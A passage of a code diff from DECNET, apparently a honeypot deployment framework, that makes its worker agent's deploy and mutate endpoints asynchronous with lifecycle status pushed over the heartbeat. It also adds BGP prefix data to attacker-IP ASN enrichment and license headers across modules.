@@ -197,15 +200,22 @@ async def status() -> dict:
|
|||||||
|
|
||||||
@app.post(
|
@app.post(
|
||||||
"/deploy",
|
"/deploy",
|
||||||
responses={500: {"description": "Deployer raised an exception materialising the config"}},
|
status_code=202,
|
||||||
|
responses={202: {"description": "Deploy accepted; runs in background; lifecycle deltas pushed via heartbeat"}},
|
||||||
)
|
)
|
||||||
async def deploy(req: DeployRequest) -> dict:
|
async def deploy(req: DeployRequest) -> dict:
|
||||||
try:
|
"""Spawn the deploy in the background and return 202 immediately.
|
||||||
await _exec.deploy(req.config, dry_run=req.dry_run, no_cache=req.no_cache)
|
|
||||||
except Exception as exc:
|
The master tracks per-decky completion via lifecycle deltas pushed on
|
||||||
log.exception("agent.deploy failed")
|
the next heartbeat (one immediate push on completion, plus the
|
||||||
raise HTTPException(status_code=500, detail=str(exc)) from exc
|
scheduled 30 s ticks as a fallback). Holding the request open across
|
||||||
return {"status": "deployed", "deckies": len(req.config.deckies)}
|
a multi-minute compose build was the previous source of the wizard
|
||||||
|
API-hang."""
|
||||||
|
asyncio.create_task(
|
||||||
|
_exec.deploy_async(req.config, dry_run=req.dry_run, no_cache=req.no_cache),
|
||||||
|
name=f"deploy-{id(req)}",
|
||||||
|
)
|
||||||
|
return {"status": "accepted", "deckies": [d.name for d in req.config.deckies]}
|
||||||
|
|
||||||
|
|
||||||
@app.post(
|
@app.post(
|
||||||
@@ -307,14 +317,50 @@ async def topology_state() -> dict:
|
|||||||
|
|
||||||
@app.post(
|
@app.post(
|
||||||
"/mutate",
|
"/mutate",
|
||||||
responses={501: {"description": "Worker-side mutate not yet implemented"}},
|
status_code=202,
|
||||||
|
responses={
|
||||||
|
202: {"description": "Mutate accepted; runs in background; lifecycle delta pushed via heartbeat"},
|
||||||
|
404: {"description": "No active deployment, or unknown decky_id (dry_run validation only)"},
|
||||||
|
},
|
||||||
)
|
)
|
||||||
async def mutate(req: MutateRequest) -> dict:
|
async def mutate(req: MutateRequest) -> Any:
|
||||||
# TODO: implement worker-side mutate. Currently the master performs
|
"""Spawn the mutate in the background and return 202 immediately.
|
||||||
# mutation by re-sending a full /deploy with the updated DecnetConfig;
|
|
||||||
# this avoids duplicating mutation logic on the worker for v1. When
|
Master tracks completion via a lifecycle delta pushed on the next
|
||||||
# ready, replace the 501 with a real redeploy-of-a-single-decky path.
|
heartbeat (immediate push on completion). ``dry_run`` is still
|
||||||
raise HTTPException(
|
synchronous — it validates against the worker's current state and
|
||||||
status_code=501,
|
returns the would-be services without spawning a task or touching
|
||||||
detail="Per-decky mutate is performed via /deploy with updated services",
|
docker, so the wizard's preview path stays cheap."""
|
||||||
|
if req.dry_run:
|
||||||
|
from decnet.config import load_state
|
||||||
|
state = load_state()
|
||||||
|
if state is None:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code=404,
|
||||||
|
detail="no active deployment on this worker",
|
||||||
|
)
|
||||||
|
cfg, _ = state
|
||||||
|
decky = next((d for d in cfg.deckies if d.name == req.decky_id), None)
|
||||||
|
if decky is None:
|
||||||
|
raise HTTPException(
|
||||||
|
status_code=404,
|
||||||
|
detail=f"decky {req.decky_id!r} not found in worker state",
|
||||||
|
)
|
||||||
|
return JSONResponse(
|
||||||
|
status_code=200,
|
||||||
|
content={
|
||||||
|
"status": "dry_run",
|
||||||
|
"decky_id": req.decky_id,
|
||||||
|
"services": list(req.services),
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
asyncio.create_task(
|
||||||
|
_exec.mutate_async(req.decky_id, list(req.services)),
|
||||||
|
name=f"mutate-{req.decky_id}",
|
||||||
)
|
)
|
||||||
|
return {
|
||||||
|
"status": "accepted",
|
||||||
|
"decky_id": req.decky_id,
|
||||||
|
"services": list(req.services),
|
||||||
|
}
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Thin adapter between the agent's HTTP endpoints and the existing
|
"""Thin adapter between the agent's HTTP endpoints and the existing
|
||||||
``decnet.engine.deployer`` code path.
|
``decnet.engine.deployer`` code path.
|
||||||
|
|
||||||
@@ -80,6 +81,99 @@ async def deploy(config: DecnetConfig, dry_run: bool = False, no_cache: bool = F
|
|||||||
await asyncio.to_thread(_deployer.deploy, config, dry_run, no_cache, False)
|
await asyncio.to_thread(_deployer.deploy, config, dry_run, no_cache, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def deploy_async(
|
||||||
|
config: DecnetConfig, *, dry_run: bool = False, no_cache: bool = False,
|
||||||
|
) -> None:
|
||||||
|
"""Background-task body for /deploy: run the deploy, then push a
|
||||||
|
lifecycle delta to the master so it observes terminal transitions
|
||||||
|
immediately rather than waiting for the next scheduled heartbeat.
|
||||||
|
|
||||||
|
Per-decky lifecycle deltas — master pivots them onto the matching
|
||||||
|
open DeckyLifecycle rows via the heartbeat handler. Errors are
|
||||||
|
captured and pushed as ``failed`` deltas; the task itself never
|
||||||
|
raises (a crashed task would just leave master rows wedged).
|
||||||
|
"""
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
from decnet.agent.heartbeat import push_lifecycle_delta
|
||||||
|
|
||||||
|
decky_names = [d.name for d in config.deckies]
|
||||||
|
try:
|
||||||
|
await deploy(config, dry_run=dry_run, no_cache=no_cache)
|
||||||
|
except Exception as exc: # noqa: BLE001
|
||||||
|
log.exception("agent.deploy_async failed")
|
||||||
|
err = f"{type(exc).__name__}: {exc}"
|
||||||
|
deltas = [
|
||||||
|
{
|
||||||
|
"decky_name": name, "operation": "deploy",
|
||||||
|
"status": "failed", "error": err[:2000],
|
||||||
|
"completed_at": datetime.now(timezone.utc).isoformat(),
|
||||||
|
}
|
||||||
|
for name in decky_names
|
||||||
|
]
|
||||||
|
await push_lifecycle_delta(deltas)
|
||||||
|
return
|
||||||
|
deltas = [
|
||||||
|
{
|
||||||
|
"decky_name": name, "operation": "deploy",
|
||||||
|
"status": "succeeded",
|
||||||
|
"completed_at": datetime.now(timezone.utc).isoformat(),
|
||||||
|
}
|
||||||
|
for name in decky_names
|
||||||
|
]
|
||||||
|
await push_lifecycle_delta(deltas)
|
||||||
|
|
||||||
|
|
||||||
|
async def mutate_async(decky_id: str, services: list[str]) -> None:
|
||||||
|
"""Background-task body for /mutate. Same shape as deploy_async:
|
||||||
|
perform the work, then push a single lifecycle delta on
|
||||||
|
completion (success or failure)."""
|
||||||
|
import time
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
from decnet.composer import write_compose
|
||||||
|
from decnet.config import load_state, save_state
|
||||||
|
from decnet.engine import _compose_with_retry
|
||||||
|
from decnet.agent.heartbeat import push_lifecycle_delta
|
||||||
|
|
||||||
|
def _delta(status: str, error: str | None = None) -> dict:
|
||||||
|
out = {
|
||||||
|
"decky_name": decky_id, "operation": "mutate",
|
||||||
|
"status": status,
|
||||||
|
"completed_at": datetime.now(timezone.utc).isoformat(),
|
||||||
|
}
|
||||||
|
if error is not None:
|
||||||
|
out["error"] = error[:2000]
|
||||||
|
return out
|
||||||
|
|
||||||
|
try:
|
||||||
|
state = load_state()
|
||||||
|
if state is None:
|
||||||
|
await push_lifecycle_delta(
|
||||||
|
[_delta("failed", "no active deployment on this worker")],
|
||||||
|
)
|
||||||
|
return
|
||||||
|
cfg, compose_path = state
|
||||||
|
decky = next((d for d in cfg.deckies if d.name == decky_id), None)
|
||||||
|
if decky is None:
|
||||||
|
await push_lifecycle_delta(
|
||||||
|
[_delta("failed", f"decky {decky_id!r} not found in worker state")],
|
||||||
|
)
|
||||||
|
return
|
||||||
|
decky.services = list(services)
|
||||||
|
decky.last_mutated = time.time()
|
||||||
|
save_state(cfg, compose_path)
|
||||||
|
write_compose(cfg, compose_path)
|
||||||
|
await asyncio.to_thread(
|
||||||
|
_compose_with_retry, "up", "-d", "--remove-orphans",
|
||||||
|
compose_file=compose_path,
|
||||||
|
)
|
||||||
|
except Exception as exc: # noqa: BLE001
|
||||||
|
log.exception("agent.mutate_async failed decky=%s", decky_id)
|
||||||
|
err = f"{type(exc).__name__}: {exc}"
|
||||||
|
await push_lifecycle_delta([_delta("failed", err)])
|
||||||
|
return
|
||||||
|
await push_lifecycle_delta([_delta("succeeded")])
|
||||||
|
|
||||||
|
|
||||||
async def teardown(decky_id: str | None = None) -> None:
|
async def teardown(decky_id: str | None = None) -> None:
|
||||||
log.info("agent.teardown decky_id=%s", decky_id)
|
log.info("agent.teardown decky_id=%s", decky_id)
|
||||||
await asyncio.to_thread(_deployer.teardown, decky_id)
|
await asyncio.to_thread(_deployer.teardown, decky_id)
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Agent → master liveness heartbeat loop.
|
"""Agent → master liveness heartbeat loop.
|
||||||
|
|
||||||
Every ``INTERVAL_S`` seconds the worker posts ``executor.status()`` to
|
Every ``INTERVAL_S`` seconds the worker posts ``executor.status()`` to
|
||||||
@@ -50,7 +51,11 @@ def _resolve_agent_dir() -> pathlib.Path:
|
|||||||
return pki.DEFAULT_AGENT_DIR
|
return pki.DEFAULT_AGENT_DIR
|
||||||
|
|
||||||
|
|
||||||
async def _tick(client: httpx.AsyncClient, url: str, host_uuid: str, agent_version: str) -> None:
|
async def _build_body(
|
||||||
|
host_uuid: str,
|
||||||
|
agent_version: str,
|
||||||
|
lifecycle: Optional[list[dict]] = None,
|
||||||
|
) -> dict:
|
||||||
snap = await _exec.status()
|
snap = await _exec.status()
|
||||||
body: dict = {
|
body: dict = {
|
||||||
"host_uuid": host_uuid,
|
"host_uuid": host_uuid,
|
||||||
@@ -70,7 +75,13 @@ async def _tick(client: httpx.AsyncClient, url: str, host_uuid: str, agent_versi
|
|||||||
store.close()
|
store.close()
|
||||||
except Exception:
|
except Exception:
|
||||||
log.debug("heartbeat: topology state unavailable", exc_info=True)
|
log.debug("heartbeat: topology state unavailable", exc_info=True)
|
||||||
|
if lifecycle:
|
||||||
|
body["lifecycle"] = lifecycle
|
||||||
|
return body
|
||||||
|
|
||||||
|
|
||||||
|
async def _tick(client: httpx.AsyncClient, url: str, host_uuid: str, agent_version: str) -> None:
|
||||||
|
body = await _build_body(host_uuid, agent_version)
|
||||||
resp = await client.post(url, json=body)
|
resp = await client.post(url, json=body)
|
||||||
# 403 / 404 are terminal-ish — we still keep looping because an
|
# 403 / 404 are terminal-ish — we still keep looping because an
|
||||||
# operator may re-enrol the host mid-session, but we log loudly so
|
# operator may re-enrol the host mid-session, but we log loudly so
|
||||||
@@ -134,6 +145,59 @@ def start() -> Optional[asyncio.Task]:
|
|||||||
return _task
|
return _task
|
||||||
|
|
||||||
|
|
||||||
|
async def push_lifecycle_delta(deltas: list[dict]) -> None:
|
||||||
|
"""Fire a one-off heartbeat POST carrying *deltas* in the
|
||||||
|
``lifecycle`` field. Each delta: ``{decky_name, operation, status,
|
||||||
|
error?, completed_at?}``.
|
||||||
|
|
||||||
|
Called by the agent executor on /deploy and /mutate completion so
|
||||||
|
the master observes the terminal transition immediately rather than
|
||||||
|
waiting up to ``INTERVAL_S`` for the next scheduled tick. Failures
|
||||||
|
are logged and swallowed; the next scheduled heartbeat carries the
|
||||||
|
same deltas via DB-side reconciliation, since the worker has no
|
||||||
|
durable per-row state to lose.
|
||||||
|
"""
|
||||||
|
from decnet.env import (
|
||||||
|
DECNET_HOST_UUID,
|
||||||
|
DECNET_MASTER_HOST,
|
||||||
|
DECNET_SWARMCTL_PORT,
|
||||||
|
)
|
||||||
|
|
||||||
|
if not deltas:
|
||||||
|
return
|
||||||
|
if not DECNET_HOST_UUID or not DECNET_MASTER_HOST:
|
||||||
|
log.debug("push_lifecycle_delta: identity unconfigured — skipping")
|
||||||
|
return
|
||||||
|
|
||||||
|
agent_dir = _resolve_agent_dir()
|
||||||
|
try:
|
||||||
|
ssl_ctx = build_worker_ssl_context(agent_dir)
|
||||||
|
except Exception:
|
||||||
|
log.exception("push_lifecycle_delta: SSL context unavailable")
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
from decnet import __version__ as _v # type: ignore[attr-defined]
|
||||||
|
agent_version = _v
|
||||||
|
except Exception:
|
||||||
|
agent_version = "unknown"
|
||||||
|
|
||||||
|
url = f"https://{DECNET_MASTER_HOST}:{DECNET_SWARMCTL_PORT}/swarm/heartbeat"
|
||||||
|
try:
|
||||||
|
async with httpx.AsyncClient(verify=ssl_ctx, timeout=_TIMEOUT) as client:
|
||||||
|
body = await _build_body(
|
||||||
|
DECNET_HOST_UUID, agent_version, lifecycle=deltas,
|
||||||
|
)
|
||||||
|
resp = await client.post(url, json=body)
|
||||||
|
if resp.status_code not in (200, 204):
|
||||||
|
log.warning(
|
||||||
|
"lifecycle delta push rejected status=%d body=%s",
|
||||||
|
resp.status_code, resp.text[:200],
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
log.exception("push_lifecycle_delta failed — next scheduled tick will retry")
|
||||||
|
|
||||||
|
|
||||||
async def stop() -> None:
|
async def stop() -> None:
|
||||||
global _task
|
global _task
|
||||||
if _task is None:
|
if _task is None:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Worker-agent uvicorn launcher.
|
"""Worker-agent uvicorn launcher.
|
||||||
|
|
||||||
Starts ``decnet.agent.app:app`` over HTTPS with mTLS enforcement. The
|
Starts ``decnet.agent.app:app`` over HTTPS with mTLS enforcement. The
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Agent-side topology apply/teardown/state primitives.
|
"""Agent-side topology apply/teardown/state primitives.
|
||||||
|
|
||||||
Wraps the compose + bridge machinery from :mod:`decnet.engine.deployer`
|
Wraps the compose + bridge machinery from :mod:`decnet.engine.deployer`
|
||||||
@@ -28,6 +29,7 @@ from decnet.engine.deployer import (
|
|||||||
_compose_with_retry,
|
_compose_with_retry,
|
||||||
_teardown_order,
|
_teardown_order,
|
||||||
_topology_compose_path,
|
_topology_compose_path,
|
||||||
|
_topology_compose_project,
|
||||||
)
|
)
|
||||||
from decnet.logging import get_logger
|
from decnet.logging import get_logger
|
||||||
from decnet.network import create_bridge_network, remove_bridge_network
|
from decnet.network import create_bridge_network, remove_bridge_network
|
||||||
@@ -118,12 +120,16 @@ def _materialise(hydrated: dict[str, Any], topology_id: str) -> None:
|
|||||||
the base is the cheapest way to make this race impossible.
|
the base is the cheapest way to make this race impossible.
|
||||||
"""
|
"""
|
||||||
compose_path = _topology_compose_path(topology_id)
|
compose_path = _topology_compose_path(topology_id)
|
||||||
|
compose_project = _topology_compose_project(topology_id)
|
||||||
client = docker.from_env()
|
client = docker.from_env()
|
||||||
for lan in hydrated["lans"]:
|
for lan in hydrated["lans"]:
|
||||||
net_name = _topology_network_name(topology_id, lan["name"])
|
net_name = _topology_network_name(topology_id, lan["name"])
|
||||||
create_bridge_network(client, net_name, lan["subnet"], internal=not lan["is_dmz"])
|
create_bridge_network(client, net_name, lan["subnet"], internal=not lan["is_dmz"])
|
||||||
write_topology_compose(hydrated, compose_path)
|
write_topology_compose(hydrated, compose_path)
|
||||||
_compose_with_retry("up", "--build", "-d", "--always-recreate-deps", compose_file=compose_path)
|
_compose_with_retry(
|
||||||
|
"up", "--build", "-d", "--always-recreate-deps",
|
||||||
|
compose_file=compose_path, project=compose_project,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
async def apply(
|
async def apply(
|
||||||
@@ -160,12 +166,16 @@ async def teardown(
|
|||||||
# LAN membership list via the hydrated blob if available.
|
# LAN membership list via the hydrated blob if available.
|
||||||
hydrated = row.hydrated if row and row.topology_id == topology_id else None
|
hydrated = row.hydrated if row and row.topology_id == topology_id else None
|
||||||
compose_path = _topology_compose_path(topology_id)
|
compose_path = _topology_compose_path(topology_id)
|
||||||
|
compose_project = _topology_compose_project(topology_id)
|
||||||
client = docker.from_env()
|
client = docker.from_env()
|
||||||
|
|
||||||
def _dismantle() -> None:
|
def _dismantle() -> None:
|
||||||
if compose_path.exists():
|
if compose_path.exists():
|
||||||
try:
|
try:
|
||||||
_compose("down", "--remove-orphans", compose_file=compose_path)
|
_compose(
|
||||||
|
"down", "--remove-orphans",
|
||||||
|
compose_file=compose_path, project=compose_project,
|
||||||
|
)
|
||||||
except subprocess.CalledProcessError as exc:
|
except subprocess.CalledProcessError as exc:
|
||||||
log.warning(
|
log.warning(
|
||||||
"topology %s compose down failed (continuing): %s",
|
"topology %s compose down failed (continuing): %s",
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Agent-side sqlite cache of the currently-applied topology.
|
"""Agent-side sqlite cache of the currently-applied topology.
|
||||||
|
|
||||||
**This is a cache, not a source of truth.** The master is the only
|
**This is a cache, not a source of truth.** The master is the only
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""
|
"""
|
||||||
Machine archetype profiles for DECNET deckies.
|
Machine archetype profiles for DECNET deckies.
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""
|
"""
|
||||||
IP-to-ASN enrichment — maps attacker IPs to BGP-announced AS numbers and
|
IP-to-ASN enrichment — maps attacker IPs to BGP-announced AS numbers and
|
||||||
org names for attacker intelligence.
|
org names for attacker intelligence.
|
||||||
@@ -6,7 +7,7 @@ Public surface mirrors :mod:`decnet.geoip` so callers can compose them:
|
|||||||
|
|
||||||
* :func:`get_lookup` — returns the singleton :class:`AsnLookup`.
|
* :func:`get_lookup` — returns the singleton :class:`AsnLookup`.
|
||||||
* :func:`enrich_ip` — takes an IP string, returns
|
* :func:`enrich_ip` — takes an IP string, returns
|
||||||
``(asn_int, asn_name, provider_name)`` or ``(None, None, None)``.
|
``(asn_int, asn_name, bgp_prefix, provider_name)`` or ``(None, None, None, None)``.
|
||||||
|
|
||||||
Provider selection goes through :func:`~decnet.asn.factory.get_provider`
|
Provider selection goes through :func:`~decnet.asn.factory.get_provider`
|
||||||
(env ``DECNET_ASN_PROVIDER``, default ``iptoasn``). Direct imports of
|
(env ``DECNET_ASN_PROVIDER``, default ``iptoasn``). Direct imports of
|
||||||
@@ -51,8 +52,8 @@ def get_lookup(*, force_refresh: bool = False) -> AsnLookup:
|
|||||||
return _lookup
|
return _lookup
|
||||||
|
|
||||||
|
|
||||||
def enrich_ip(ip: str) -> Tuple[Optional[int], Optional[str], Optional[str]]:
|
def enrich_ip(ip: str) -> Tuple[Optional[int], Optional[str], Optional[str], Optional[str]]:
|
||||||
"""Return ``(asn, as_name, provider_name)`` or ``(None, None, None)``.
|
"""Return ``(asn, as_name, bgp_prefix, provider_name)`` or ``(None, None, None, None)``.
|
||||||
|
|
||||||
Never raises — any lookup failure collapses to all-None so the
|
Never raises — any lookup failure collapses to all-None so the
|
||||||
caller (profiler) can upsert the attacker row regardless.
|
caller (profiler) can upsert the attacker row regardless.
|
||||||
@@ -62,15 +63,15 @@ def enrich_ip(ip: str) -> Tuple[Optional[int], Optional[str], Optional[str]]:
|
|||||||
touching provider config.
|
touching provider config.
|
||||||
"""
|
"""
|
||||||
if os.environ.get("DECNET_ASN_ENABLED", "true").lower() == "false":
|
if os.environ.get("DECNET_ASN_ENABLED", "true").lower() == "false":
|
||||||
return (None, None, None)
|
return (None, None, None, None)
|
||||||
try:
|
try:
|
||||||
lookup = get_lookup()
|
lookup = get_lookup()
|
||||||
info = lookup.asn(ip)
|
info = lookup.asn(ip)
|
||||||
if info is None:
|
if info is None:
|
||||||
return (None, None, None)
|
return (None, None, None, None)
|
||||||
return (info.asn, info.name or None, _provider_name or "unknown")
|
return (info.asn, info.name or None, info.prefix, _provider_name or "unknown")
|
||||||
except Exception:
|
except Exception:
|
||||||
return (None, None, None)
|
return (None, None, None, None)
|
||||||
|
|
||||||
|
|
||||||
def _files_stale(provider) -> bool:
|
def _files_stale(provider) -> bool:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""ASN provider protocol — mirror of :mod:`decnet.geoip.base`.
|
"""ASN provider protocol — mirror of :mod:`decnet.geoip.base`.
|
||||||
|
|
||||||
Concrete providers (e.g. :mod:`decnet.asn.iptoasn`) implement this.
|
Concrete providers (e.g. :mod:`decnet.asn.iptoasn`) implement this.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""ASN provider factory — mirror of :mod:`decnet.geoip.factory`.
|
"""ASN provider factory — mirror of :mod:`decnet.geoip.factory`.
|
||||||
|
|
||||||
Dispatch key: ``DECNET_ASN_PROVIDER`` (default ``iptoasn``). Lazy
|
Dispatch key: ``DECNET_ASN_PROVIDER`` (default ``iptoasn``). Lazy
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""iptoasn.com IP→ASN provider.
|
"""iptoasn.com IP→ASN provider.
|
||||||
|
|
||||||
Daily-refreshed gzipped TSV dump of the global BGP table, derived from
|
Daily-refreshed gzipped TSV dump of the global BGP table, derived from
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""iptoasn.com bulk dump download.
|
"""iptoasn.com bulk dump download.
|
||||||
|
|
||||||
One file: ``ip2asn-v4.tsv.gz``, ~5 MB compressed, refreshed daily.
|
One file: ``ip2asn-v4.tsv.gz``, ~5 MB compressed, refreshed daily.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Parser for the iptoasn.com ``ip2asn-v4.tsv`` dump.
|
"""Parser for the iptoasn.com ``ip2asn-v4.tsv`` dump.
|
||||||
|
|
||||||
Line shape (gzipped, one row per BGP-announced prefix)::
|
Line shape (gzipped, one row per BGP-announced prefix)::
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""iptoasn provider — orchestrates fetch + parse into an :class:`AsnLookup`.
|
"""iptoasn provider — orchestrates fetch + parse into an :class:`AsnLookup`.
|
||||||
|
|
||||||
Mirrors :class:`decnet.geoip.rir.provider.RirProvider` exactly: fetch,
|
Mirrors :class:`decnet.geoip.rir.provider.RirProvider` exactly: fetch,
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Provider-agnostic IP→ASN lookup.
|
"""Provider-agnostic IP→ASN lookup.
|
||||||
|
|
||||||
A :class:`AsnLookup` is a frozen, sorted array of ``(start_ip,
|
A :class:`AsnLookup` is a frozen, sorted array of ``(start_ip,
|
||||||
@@ -23,11 +24,25 @@ class AsnInfo:
|
|||||||
|
|
||||||
asn: int
|
asn: int
|
||||||
name: str # AS description / org name; "" if absent in the source data
|
name: str # AS description / org name; "" if absent in the source data
|
||||||
|
prefix: Optional[str] = None # synthesized covering CIDR; set at lookup time, not at rest
|
||||||
|
|
||||||
|
|
||||||
Range = Tuple[int, int, AsnInfo]
|
Range = Tuple[int, int, AsnInfo]
|
||||||
|
|
||||||
|
|
||||||
|
def _synthesize_prefix(start_int: int, end_int: int, queried_int: int) -> Optional[str]:
|
||||||
|
"""Return the most-specific CIDR from [start, end] that contains queried_int."""
|
||||||
|
try:
|
||||||
|
for net in ipaddress.summarize_address_range(
|
||||||
|
ipaddress.IPv4Address(start_int), ipaddress.IPv4Address(end_int)
|
||||||
|
):
|
||||||
|
if queried_int >= int(net.network_address) and queried_int <= int(net.broadcast_address):
|
||||||
|
return str(net)
|
||||||
|
except (ValueError, TypeError):
|
||||||
|
pass
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
class AsnLookup:
|
class AsnLookup:
|
||||||
"""Indexed AS lookup over IPv4 ranges."""
|
"""Indexed AS lookup over IPv4 ranges."""
|
||||||
@@ -88,7 +103,9 @@ class AsnLookup:
|
|||||||
if idx < 0:
|
if idx < 0:
|
||||||
return None
|
return None
|
||||||
if n <= self._ends[idx]:
|
if n <= self._ends[idx]:
|
||||||
return self._infos[idx]
|
info = self._infos[idx]
|
||||||
|
prefix = _synthesize_prefix(self._starts[idx], self._ends[idx], n)
|
||||||
|
return AsnInfo(asn=info.asn, name=info.name, prefix=prefix)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def __len__(self) -> int:
|
def __len__(self) -> int:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Filesystem layout for ASN data — mirror of :mod:`decnet.geoip.paths`.
|
"""Filesystem layout for ASN data — mirror of :mod:`decnet.geoip.paths`.
|
||||||
|
|
||||||
``ASN_ROOT`` is where providers drop their raw files and cache indexes.
|
``ASN_ROOT`` is where providers drop their raw files and cache indexes.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""DECNET ServiceBus — pub/sub notification substrate.
|
"""DECNET ServiceBus — pub/sub notification substrate.
|
||||||
|
|
||||||
The bus is the notification layer for DECNET's worker constellation. The DB
|
The bus is the notification layer for DECNET's worker constellation. The DB
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Process-wide bus singleton for request-serving workers (API, SSE routes).
|
"""Process-wide bus singleton for request-serving workers (API, SSE routes).
|
||||||
|
|
||||||
A single connected :class:`~decnet.bus.base.BaseBus` shared across request
|
A single connected :class:`~decnet.bus.base.BaseBus` shared across request
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Bus abstractions: the :class:`Event` envelope and the :class:`BaseBus` ABC.
|
"""Bus abstractions: the :class:`Event` envelope and the :class:`BaseBus` ABC.
|
||||||
|
|
||||||
Every transport (NATS, in-process fake, null) speaks this contract. The
|
Every transport (NATS, in-process fake, null) speaks this contract. The
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Bus factory — selects a :class:`~decnet.bus.base.BaseBus` implementation.
|
"""Bus factory — selects a :class:`~decnet.bus.base.BaseBus` implementation.
|
||||||
|
|
||||||
Dispatch key: the ``DECNET_BUS_TYPE`` environment variable.
|
Dispatch key: the ``DECNET_BUS_TYPE`` environment variable.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""In-process bus transports.
|
"""In-process bus transports.
|
||||||
|
|
||||||
* :class:`FakeBus` — real pub/sub semantics without touching a socket. Used
|
* :class:`FakeBus` — real pub/sub semantics without touching a socket. Used
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Wire protocol for the DECNET bus UNIX-socket transport.
|
"""Wire protocol for the DECNET bus UNIX-socket transport.
|
||||||
|
|
||||||
Frame layout:
|
Frame layout:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Fire-and-forget publish helpers shared across every worker.
|
"""Fire-and-forget publish helpers shared across every worker.
|
||||||
|
|
||||||
Lifted out of ``decnet/mutator/engine.py`` once a second caller showed up
|
Lifted out of ``decnet/mutator/engine.py`` once a second caller showed up
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Canonical topic hierarchy for the DECNET ServiceBus.
|
"""Canonical topic hierarchy for the DECNET ServiceBus.
|
||||||
|
|
||||||
Locked early so consumers can subscribe with stable wildcard patterns.
|
Locked early so consumers can subscribe with stable wildcard patterns.
|
||||||
@@ -107,6 +108,11 @@ DECKY_SERVICE_REMOVED = "service_removed"
|
|||||||
# when the operator hit Apply (container was force-recreated to pick up
|
# when the operator hit Apply (container was force-recreated to pick up
|
||||||
# the new env), false when they only hit Save (DB-only).
|
# the new env), false when they only hit Save (DB-only).
|
||||||
DECKY_SERVICE_CONFIG_CHANGED = "service_config_changed"
|
DECKY_SERVICE_CONFIG_CHANGED = "service_config_changed"
|
||||||
|
# Async deploy/mutate operation transitions
|
||||||
|
# (pending/running/succeeded/failed). Payload: {lifecycle_id, operation,
|
||||||
|
# status, error?}. UI polling endpoint is the source of truth; this
|
||||||
|
# fires for live subscribers (dashboard, mutator-side audit, etc).
|
||||||
|
DECKY_LIFECYCLE = "lifecycle"
|
||||||
|
|
||||||
# Attacker event types (second token under the ``attacker`` root). First
|
# Attacker event types (second token under the ``attacker`` root). First
|
||||||
# sighting, session boundary transitions, and score-threshold crossings
|
# sighting, session boundary transitions, and score-threshold crossings
|
||||||
@@ -114,9 +120,18 @@ DECKY_SERVICE_CONFIG_CHANGED = "service_config_changed"
|
|||||||
# the wildcard ``attacker.>``.
|
# the wildcard ``attacker.>``.
|
||||||
ATTACKER_OBSERVED = "observed"
|
ATTACKER_OBSERVED = "observed"
|
||||||
ATTACKER_SCORED = "scored"
|
ATTACKER_SCORED = "scored"
|
||||||
